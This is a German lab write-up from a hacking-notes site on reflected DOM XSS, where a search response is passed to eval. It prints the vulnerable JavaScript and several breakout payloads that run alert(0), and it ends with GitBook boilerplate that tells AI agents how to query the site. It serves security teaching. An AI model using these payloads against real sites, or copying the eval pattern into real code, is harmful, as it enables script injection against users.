> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/xss/reflected-dom-xss.md).

# DOM-Reflected-XSS

### Reflektiertes DOM-XSS

Dieses Labor zeigt eine raffinierte DOM-Schwachstelle. Die in der Abfrage gesendeten Daten werden vom Server zurückgegeben, dann behandelt ein clientseitiges Skript sie gefährlich und schreibt sie in ein `eval`, wodurch der Weg für Codeausführung geöffnet wird.

Der Client sendet eine AJAX-Anfrage an `path + window.location.search`. Wenn die Antwort eintrifft, lautet der Code:

```javascript
function search(path) {
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            eval('var searchResultsObj = ' + this.responseText);
            displaySearchResults(searchResultsObj);
        }
    };
    xhr.open("GET", path + window.location.search);
    xhr.send();

    function displaySearchResults(searchResultsObj) {
        var blogHeader = document.getElementsByClassName("blog-header")[0];
        var blogList = document.getElementsByClassName("blog-list")[0];
        var searchTerm = searchResultsObj.searchTerm
        var searchResults = searchResultsObj.results

        var h1 = document.createElement("h1");
        h1.innerText = searchResults.length + " Suchergebnisse für '" + searchTerm + "'";
        blogHeader.appendChild(h1);
        var hr = document.createElement("hr");
        blogHeader.appendChild(hr)

        for (var i = 0; i < searchResults.length; ++i)
        {
            var searchResult = searchResults[i];
            if (searchResult.id) {
                var blogLink = document.createElement("a");
                blogLink.setAttribute("href", "/post?postId=" + searchResult.id);

                if (searchResult.headerImage) {
                    var headerImage = document.createElement("img");
                    headerImage.setAttribute("src", "/image/" + searchResult.headerImage);
                    blogLink.appendChild(headerImage);
                }

                blogList.appendChild(blogLink);
            }

            blogList.innerHTML += "<br/>";

            if (searchResult.title) {
                var title = document.createElement("h2");
                title.innerText = searchResult.title;
                blogList.appendChild(title);
            }

            if (searchResult.summary) {
                var summary = document.createElement("p");
                summary.innerText = searchResult.summary;
                blogList.appendChild(summary);
            }

            if (searchResult.id) {
                var viewPostButton = document.createElement("a");
                viewPostButton.setAttribute("class", "button is-small");
                viewPostButton.setAttribute("href", "/post?postId=" + searchResult.id);
                viewPostButton.innerText = "Beitrag ansehen";
            }
        }

        var linkback = document.createElement("div");
        linkback.setAttribute("class", "is-linkback");
        var backToBlog = document.createElement("a");
        backToBlog.setAttribute("href", "/");
        backToBlog.innerText = "Zurück zum Blog";
        linkback.appendChild(backToBlog);
        blogList.appendChild(linkback);
    }
}
```

Das `displaySearchResults` Die Funktion wird ausgeführt `searchResultsObj` und erstellt dynamisch Elemente (h1, h2, p, a, img usw.), indem es `innerText` für Titel und Zusammenfassungen, aber wichtig `searchResultsObj` über `eval`.

```javascript
if (this.readyState == 4 && this.status == 200) {
            eval('var searchResultsObj = ' + this.responseText);
            displaySearchResults(searchResultsObj);
        }
```

<figure><img src="/files/89fa0b4e4332f69120be3bd83c40e54a9f512ada" alt=""><figcaption></figcaption></figure>

Die Verwendung von `eval('var searchResultsObj = ' + this.responseText)` ist kritisch: Wenn die kontrollierte Antwort speziell geformten Text enthält, ist es möglich, die erwartete Syntax zu brechen und den JavaScript-Code einzuschleusen, der während der Auswertung ausgeführt wird.

* Senden Sie zurück (oder fangen Sie ab) `responseText` mit dem Angriffswert für `searchTerm` oder ein ähnliches Feld.
* Aus dem von der Zeichenkette/dem Literal-JSON erwarteten Aufbau ausbrechen, indem Sie die Struktur schließen und ausführbaren Code hinzufügen, dann den Rest mit einem Kommentar (`//`) neutralisieren, um nachfolgende Syntaxfehler zu vermeiden.

<figure><img src="/files/cdc0b04eed5737a6bc8669b65d801c0bb86a8bb7" alt=""><figcaption></figcaption></figure>

#### Beispiele getesteter Payloads

(Diese Zeichenfolgen sind dafür vorgesehen, im Teil der reflektierten Antwort platziert zu werden — sie zeigen, wie man aus der Struktur ausbricht und `alert(0)`)

```javascript
hello/"jordan

hello/"jordan}//
```

<figure><img src="/files/c9264f5a8e89217c33f6f06394e0393ffd4dc2d3" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/5f8e0b35d4f3e4296313a3d03e7c5a6c86549739" alt=""><figcaption></figcaption></figure>

Durch das Einschleusen einer der obigen Zeichenfolgen in den reflektierten Teil der Antwort wird der `eval` wird die modifizierte Konstruktion interpretieren und ausführen `alert(0)`, und demonstrieren so clientseitige Codeausführung via reflektiertes DOM-XSS.

```javascript
hello/"*alert(0)}//
```

```javascript
hello/"+alert(0)}//
```

```javascript
hello/"-alert(0)}//
```

<figure><img src="/files/5d0733c17548135c7989a119bf4181bda650c5c9" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/xss/reflected-dom-xss.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
